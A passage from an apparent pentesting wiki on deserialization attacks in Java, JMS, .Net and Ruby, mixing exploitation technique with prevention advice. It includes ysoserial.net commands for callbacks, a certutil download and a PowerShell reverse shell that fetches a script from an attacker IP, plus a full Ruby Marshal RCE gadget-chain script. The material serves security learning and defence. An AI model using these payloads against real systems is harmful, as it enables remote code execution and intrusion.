A simple example of this shown here, where the the `LookAheadObjectInputStream` class is guaranteed not to deserialize any other type besides the `Bicycle` class:
|
||
|
||
```java
|
||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||
|
||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||
super(inputStream);
|
||
}
|
||
|
||
/**
|
||
* Only deserialize instances of our expected Bicycle class
|
||
*/
|
||
@Override
|
||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||
if (!desc.getName().equals(Bicycle.class.getName())) {
|
||
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
||
}
|
||
return super.resolveClass(desc);
|
||
}
|
||
}
|
||
```
|
||
|
||
**Harden All java.io.ObjectInputStream Usage with an Agent**
|
||
|
||
If you don't own the code or can't wait for a patch, using an agent to weave in hardening to `java.io.ObjectInputStream` is the best solution.\
|
||
Using this approach you can only Blacklist known malicious types and not whitelist them as you don't know which object are being serialized.
|
||
|
||
To enable these agents, simply add a new JVM parameter:
|
||
|
||
```
|
||
-javaagent:name-of-agent.jar
|
||
```
|
||
|
||
Example: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||
|
||
### References
|
||
|
||
* Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||
* Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||
* Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||
* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
* Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||
|
||
## JNDI Injection & log4Shell
|
||
|
||
Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
|
||
|
||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||
{% endcontent-ref %}
|
||
|
||
## JMS - Java Message Service
|
||
|
||
> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||
|
||
### Products
|
||
|
||
There are several products using this middleware to send messages:
|
||
|
||
![](<../../.gitbook/assets/image (291).png>)
|
||
|
||
![](<../../.gitbook/assets/image (292).png>)
|
||
|
||
### Exploitation
|
||
|
||
So, basically there are a **bunch of services using JMS on a dangerous way**. Therefore, if you have **enough privileges** to send messages to this services (usually you will need valid credentials) you could be able to send **malicious objects serialized that will be deserialized by the consumer/subscriber**.\
|
||
This means that in this exploitation all the **clients that are going to use that message will get infected**.
|
||
|
||
You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.
|
||
|
||
The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.
|
||
|
||
### References
|
||
|
||
* JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||
* Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||
|
||
## .Net
|
||
|
||
.Net is similar to Java regarding how deserialization exploits work: The **exploit** will **abuse gadgets** that **execute** some interesting **code when** an object is **deserialized**.
|
||
|
||
### Fingerprint
|
||
|
||
#### WhiteBox
|
||
|
||
Search the source code for the following terms:
|
||
|
||
1. `TypeNameHandling`
|
||
2. `JavaScriptTypeResolver`
|
||
|
||
Look for any serializers where the type is set by a user controlled variable.
|
||
|
||
#### BlackBox
|
||
|
||
You can search for the Base64 encoded string **AAEAAAD/////** or any other thing that **may be deserialized** in the back-end and that allows you to control the deserialized type\*\*.\*\* For example, a **JSON** or **XML** containing `TypeObject` or `$type`.
|
||
|
||
### ysoserial.net
|
||
|
||
In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example.
|
||
|
||
If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||
|
||
The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* and **`--plugin`.**
|
||
|
||
* **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
|
||
* **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
|
||
* \*\*`--output` \*\* used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._
|
||
* \*\*`--plugin` \*\* ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState
|
||
|
||
#### More ysoserial.net parameters
|
||
|
||
* `--minify` will provide a **smaller payload** (if possible)
|
||
* `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case)
|
||
* `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive)
|
||
|
||
**ysoserial examples** to create exploits:
|
||
|
||
```bash
|
||
#Send ping
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||
|
||
#Timing
|
||
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
||
|
||
#DNS/HTTP request
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
||
|
||
#Reverse shell
|
||
#Create shell command in linux
|
||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
||
#Create exploit using the created B64 shellcode
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||
```
|
||
|
||
**ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\
|
||
If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\
|
||
This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||
|
||
```java
|
||
if (inputArgs.Test)
|
||
{
|
||
try
|
||
{
|
||
SerializersHelper.JsonNet_deserialize(payload);
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
Debugging.ShowErrors(inputArgs, err);
|
||
}
|
||
}
|
||
```
|
||
|
||
This means that in order to test the exploit the code will call [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||
|
||
```java
|
||
public static object JsonNet_deserialize(string str)
|
||
{
|
||
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
return obj;
|
||
}
|
||
```
|
||
|
||
In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\
|
||
Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create.
|
||
|
||
### ViewState
|
||
|
||
Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-\_\_viewstate-parameter.md)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||
|
||
### **Prevention**
|
||
|
||
Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the `DataContractSerializer` or `XmlSerializer` if at all possible.
|
||
|
||
Where `JSON.Net` is being used make sure the `TypeNameHandling` is only set to `None`.
|
||
|
||
```
|
||
TypeNameHandling = TypeNameHandling.None
|
||
```
|
||
|
||
If `JavaScriptSerializer` is to be used then do not use it with a `JavaScriptTypeResolver`.
|
||
|
||
If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g.
|
||
|
||
```
|
||
System.IO.FileInfo
|
||
```
|
||
|
||
`FileInfo` objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack.
|
||
|
||
Even if you have limited the types that can be deserialised remember that some types have properties that are risky. `System.ComponentModel.DataAnnotations.ValidationException`, for example has a property `Value` of type `Object`. if this type is the type allowed for deserialization then an attacker can set the `Value` property to any object type they choose.
|
||
|
||
Attackers should be prevented from steering the type that will be instantiated. If this is possible then even `DataContractSerializer` or `XmlSerializer` can be subverted e.g.
|
||
|
||
```
|
||
// Action below is dangerous if the attacker can change the data in the database
|
||
var typename = GetTransactionTypeFromDatabase();
|
||
|
||
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
|
||
|
||
var obj = serializer.ReadObject(ms);
|
||
```
|
||
|
||
Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective.
|
||
|
||
```
|
||
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
||
|
||
//Check below is too late! Execution may have already occurred.
|
||
if (suspectObject is SomeDangerousObjectType)
|
||
{
|
||
//generate warnings and dispose of suspectObject
|
||
}
|
||
```
|
||
|
||
For `BinaryFormatter` and `JSON.Net` it is possible to create a safer form of white list control using a custom `SerializationBinder`.
|
||
|
||
Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. **A deserializer can only instantiate types that it knows about**.
|
||
|
||
Try to keep any code that might create potential gadgets separate from any code that has internet connectivity. As an example `System.Windows.Data.ObjectDataProvider` used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data.
|
||
|
||
### **References**
|
||
|
||
* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||
|
||
## **Ruby**
|
||
|
||
Ruby has two methods to implement serialization inside the **marshal** library: first method is **dump** that converts object into bytes streams **(serialize)**. And the second method is **load** to convert bytes stream to object again (**deserialize**).\
|
||
Ruby uses HMAC to sign the serialized object and saves the key on one of the following files:
|
||
|
||
* config/environment.rb
|
||
* config/initializers/secret\_token.rb
|
||
* config/secrets.yml
|
||
* /proc/self/environ
|
||
|
||
Ruby 2.X generic deserialization to RCE gadget chain (more info in [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
|
||
|
||
```ruby
|
||
#!/usr/bin/env ruby
|
||
|
||
class Gem::StubSpecification
|
||
def initialize; end
|
||
end
|
||
|
||
|
||
stub_specification = Gem::StubSpecification.new
|
||
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
||
|
||
puts "STEP n"
|
||
stub_specification.name rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Source::SpecificFile
|
||
def initialize; end
|
||
end
|
||
|
||
specific_file = Gem::Source::SpecificFile.new
|
||
specific_file.instance_variable_set(:@spec, stub_specification)
|
||
|
||
other_specific_file = Gem::Source::SpecificFile.new
|
||
|
||
puts "STEP n-1"
|
||
specific_file <=> other_specific_file rescue nil
|
||
puts
|
||
|
||
|
||
$dependency_list= Gem::DependencyList.new
|
||
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
||
|
||
puts "STEP n-2"
|
||
$dependency_list.each{} rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Requirement
|
||
def marshal_dump
|
||
[$dependency_list]
|
||
end
|
||
end
|
||
|
||
payload = Marshal.dump(Gem::Requirement.new)
|
||
|
||
puts "STEP n-3"
|
||
Marshal.load(payload) rescue nil
|
||
puts
|
||
|
||
|
||
puts "VALIDATION (in fresh ruby process):"
|
||
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
||
pipe.print payload
|
||
pipe.close_write
|
||
puts pipe.gets
|
||
puts
|
||
end
|
||
|
||
puts "Payload (hex):"
|
||
puts payload.unpack('H*')[0]
|
||
puts
|
||
|
||
|
||
require "base64"
|
||
puts "Payload (Base64 encoded):"
|
||
puts Base64.encode64(payload)
|
||
```
|
||
|
||
Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|